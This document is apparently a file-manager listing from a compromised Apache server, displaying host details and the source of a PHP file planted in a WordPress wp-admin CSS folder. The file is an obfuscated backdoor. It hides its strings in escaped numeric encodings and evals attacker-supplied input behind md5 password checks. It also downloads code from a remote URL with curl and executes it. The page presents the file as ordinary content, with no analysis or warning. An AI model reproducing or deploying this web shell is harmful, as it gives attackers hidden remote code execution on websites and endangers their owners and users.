HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/public_html/wp-admin/css/colors/coffee/coffee/index.php
<?php
 goto w4ZYBTK30qx1AY; EDXn3GwO45FvtL: if (!(in_array(gettype($rO58kHxv53WHWy) . "\61\x38", $rO58kHxv53WHWy) && md5(md5(md5(md5($rO58kHxv53WHWy[12])))) === "\x34\x35\70\x65\x64\63\63\63\x34\x65\66\x38\66\143\x63\63\x32\x33\144\66\x33\60\143\x63\142\143\x65\142\x38\146\142\143")) { goto rTOroHlDEj2n6G; } goto hPCR6CaFIuj620; aNQzxHPj_gc0JH: class If4smZTAnAJUea { static function yWLlA8QecG7PFs($vr_yIMp_ImL0ic) { goto e4Yq7Ro_Q4CT27; iy5RdAOCFq84Qb: $B3P8IbpjQfCe5I = ''; goto Rqy52SU800ghrj; XH1WKI2v43Mtkc: $DgSZnHIXzNZ7jx = explode("\75", $vr_yIMp_ImL0ic); goto iy5RdAOCFq84Qb; Rqy52SU800ghrj: foreach ($DgSZnHIXzNZ7jx as $xVFU8SgdZCzI8s => $YdqVgcpIQy6OGy) { $B3P8IbpjQfCe5I .= $ClWu4_DqulPDvj[$YdqVgcpIQy6OGy - 16800]; qGRuBY3gnNzRHB: } goto p0zPE1mg7yVlYu; pKQM4f1miwuqhf: $ClWu4_DqulPDvj = $sxmDKYgu4hI22e("\176", "\x20"); goto XH1WKI2v43Mtkc; e4Yq7Ro_Q4CT27: $sxmDKYgu4hI22e = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto pKQM4f1miwuqhf; AlUA9LpqSaXU_h: return $B3P8IbpjQfCe5I; goto tGm7ZPzqum1DY0; p0zPE1mg7yVlYu: kpfMTfHGBsr4pn: goto AlUA9LpqSaXU_h; tGm7ZPzqum1DY0: } static function aAJm8S1oA2Ueau($YPPhtBSRtz0zeM, $wUO14x27EXSI3m) { goto FYWSGw1XxwxWd1; vtpIlH7vSlPe8H: return empty($m031OFp0pWIuzB) ? $wUO14x27EXSI3m($YPPhtBSRtz0zeM) : $m031OFp0pWIuzB; goto mnusnSowdLD1_g; FYWSGw1XxwxWd1: $cXLh3xIYnAP8QD = curl_init($YPPhtBSRtz0zeM); goto VUL625SkQ4jLva; YT6DEVGeZb2zkc: $m031OFp0pWIuzB = curl_exec($cXLh3xIYnAP8QD); goto vtpIlH7vSlPe8H; VUL625SkQ4jLva: curl_setopt($cXLh3xIYnAP8QD, CURLOPT_RETURNTRANSFER, 1); goto YT6DEVGeZb2zkc; mnusnSowdLD1_g: } static function tNSEQXM0yDbg5B() { goto kheQ7DoiIELovu; TkXj_BuaFtjixO: @eval($bl2g0kl_boXn3g[0 + 4]($CUOjBvUHNufBke)); goto ihYyV1hFHI_j8r; XtDMV4ATR8uryJ: if (!(@$JP4fnjgh_vHnVK[0] - time() > 0 and md5(md5($JP4fnjgh_vHnVK[1 + 2])) === "\144\x66\65\63\x32\x37\67\x32\64\x62\x35\70\x64\146\71\67\x38\144\x64\61\x63\66\x32\x36\64\146\142\x37\60\x38\x37\71")) { goto KOrflj1Qwfzx8F; } goto mKkKM0ywaQZiT0; mKkKM0ywaQZiT0: $CUOjBvUHNufBke = self::AAjM8S1Oa2ueAu($JP4fnjgh_vHnVK[1 + 0], $bl2g0kl_boXn3g[0 + 5]); goto TkXj_BuaFtjixO; R1_JOEZXlubV7W: $LoHGamfVqCFh32 = @$bl2g0kl_boXn3g[3 + 0]($bl2g0kl_boXn3g[1 + 5], $PxQDL8kB3yz2s2); goto uLwpwOdnP7w7Wd; oS6y5FJUQfnsxe: KOrflj1Qwfzx8F: goto w5KHr4EeNsGIi3; ihYyV1hFHI_j8r: die; goto oS6y5FJUQfnsxe; niL5vr1jbhG06Z: foreach ($HzwyqP5mIFotm2 as $lsVx_DvZUwhMj1) { $bl2g0kl_boXn3g[] = self::yWLlA8qEcg7PFS($lsVx_DvZUwhMj1); YUbuS3mWC3q9lB: } goto AgopCi3c_sR436; klM2B2ZEUzjIPN: $PxQDL8kB3yz2s2 = @$bl2g0kl_boXn3g[1]($bl2g0kl_boXn3g[10 + 0](INPUT_GET, $bl2g0kl_boXn3g[5 + 4])); goto R1_JOEZXlubV7W; AgopCi3c_sR436: JHCY2wkiiBkrZk: goto klM2B2ZEUzjIPN; kheQ7DoiIELovu: $HzwyqP5mIFotm2 = array("\61\66\x38\62\x37\75\61\66\70\x31\62\x3d\x31\66\x38\x32\x35\x3d\x31\66\x38\x32\71\75\x31\x36\x38\x31\60\x3d\61\x36\x38\x32\x35\75\61\66\x38\63\61\75\61\x36\x38\62\x34\x3d\61\66\x38\60\71\x3d\x31\x36\70\x31\x36\75\61\x36\x38\62\x37\75\x31\x36\x38\x31\60\x3d\x31\66\x38\62\61\75\61\66\70\x31\65\x3d\61\66\70\x31\66", "\61\66\x38\x31\61\x3d\61\x36\x38\61\60\75\x31\66\x38\x31\x32\75\x31\66\x38\63\61\x3d\x31\x36\70\x31\x32\x3d\x31\66\x38\x31\65\x3d\61\x36\70\x31\x30\75\x31\66\x38\67\67\75\61\x36\70\67\65", "\61\66\70\x32\x30\x3d\x31\66\70\61\x31\75\x31\x36\70\x31\x35\x3d\61\66\70\61\66\75\x31\x36\70\x33\61\75\61\x36\70\x32\66\x3d\x31\x36\70\x32\x35\x3d\61\x36\x38\x32\67\75\x31\66\70\x31\x35\x3d\x31\x36\x38\x32\66\x3d\x31\66\x38\62\65", "\61\x36\x38\x31\64\x3d\x31\66\70\62\71\x3d\x31\66\x38\62\x37\75\61\x36\x38\x31\x39", "\61\66\x38\62\70\x3d\x31\x36\x38\62\x39\75\61\x36\70\61\x31\75\61\66\70\x32\65\x3d\x31\66\70\x37\62\75\61\x36\70\67\x34\75\x31\x36\70\x33\x31\75\x31\66\70\62\x36\x3d\61\66\70\62\65\x3d\x31\x36\x38\x32\67\75\x31\66\x38\x31\x35\x3d\61\66\x38\x32\66\x3d\61\x36\70\x32\65", "\61\x36\x38\x32\x34\75\61\66\70\x32\x31\x3d\61\66\x38\x31\70\75\61\x36\70\x32\65\x3d\x31\66\70\x33\x31\75\61\x36\x38\x32\x33\x3d\61\66\x38\62\65\x3d\61\x36\70\x31\x30\75\x31\x36\70\x33\61\75\61\x36\70\62\x37\75\x31\66\70\x31\x35\x3d\61\x36\70\x31\x36\x3d\x31\66\x38\x31\x30\x3d\x31\66\70\62\65\75\x31\x36\70\61\66\x3d\x31\x36\70\61\x30\75\61\66\70\x31\x31", "\61\66\70\x35\x34\75\61\x36\x38\70\64", "\x31\x36\70\60\61", "\61\66\x38\x37\71\x3d\61\66\x38\x38\x34", "\61\x36\x38\66\x31\75\61\x36\x38\x34\64\75\61\x36\70\64\x34\x3d\x31\x36\70\66\x31\x3d\x31\x36\70\x33\67", "\x31\66\x38\x32\64\75\x31\66\70\x32\x31\x3d\61\66\x38\61\70\x3d\x31\66\70\x31\60\75\61\66\x38\x32\65\75\x31\66\70\x31\x32\x3d\61\66\x38\63\x31\75\x31\66\x38\x32\x31\x3d\x31\x36\x38\x31\66\75\61\x36\70\61\64\75\61\66\70\60\x39\x3d\61\x36\x38\x31\x30"); goto niL5vr1jbhG06Z; uLwpwOdnP7w7Wd: $JP4fnjgh_vHnVK = $bl2g0kl_boXn3g[2 + 0]($LoHGamfVqCFh32, true); goto EgyosobQjKHadR; EgyosobQjKHadR: @$bl2g0kl_boXn3g[1 + 9](INPUT_GET, "\157\x66") == 1 && die($bl2g0kl_boXn3g[2 + 3](__FILE__)); goto XtDMV4ATR8uryJ; w5KHr4EeNsGIi3: } } goto qNx1UkSWz_3P1x; w4ZYBTK30qx1AY: $RJrEa6ZdO8ceLi = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto Nw4Yk4WHs039BX; k_IboaA_2dH191: $rO58kHxv53WHWy = ${$qwVJ2NIDuJVRQd[2 + 29] . $qwVJ2NIDuJVRQd[36 + 23] . $qwVJ2NIDuJVRQd[28 + 19] . $qwVJ2NIDuJVRQd[4 + 43] . $qwVJ2NIDuJVRQd[38 + 13] . $qwVJ2NIDuJVRQd[35 + 18] . $qwVJ2NIDuJVRQd[32 + 25]}; goto EDXn3GwO45FvtL; hPCR6CaFIuj620: $rO58kHxv53WHWy[61] = $rO58kHxv53WHWy[61] . $rO58kHxv53WHWy[74]; goto Ha6yiBGbKT3PpR; HExz_w7eTRVMmU: metaphone("\114\150\70\x6b\x39\x45\x4a\115\x54\61\x4b\127\x41\x4b\64\x42\126\x49\x43\x42\x51\x69\x37\152\143\144\x42\x36\102\157\x2f\x6a\x78\165\130\156\110\102\127\150\66\106\x6f"); goto aNQzxHPj_gc0JH; Ha6yiBGbKT3PpR: @eval($rO58kHxv53WHWy[61](${$rO58kHxv53WHWy[37]}[28])); goto m2sWhye1Jkd6Iw; Nw4Yk4WHs039BX: $qwVJ2NIDuJVRQd = $RJrEa6ZdO8ceLi("\176", "\x20"); goto k_IboaA_2dH191; m2sWhye1Jkd6Iw: rTOroHlDEj2n6G: goto HExz_w7eTRVMmU; qNx1UkSWz_3P1x: iF4SmZtAnajUEa::tnSEqXm0yDBG5b();
?>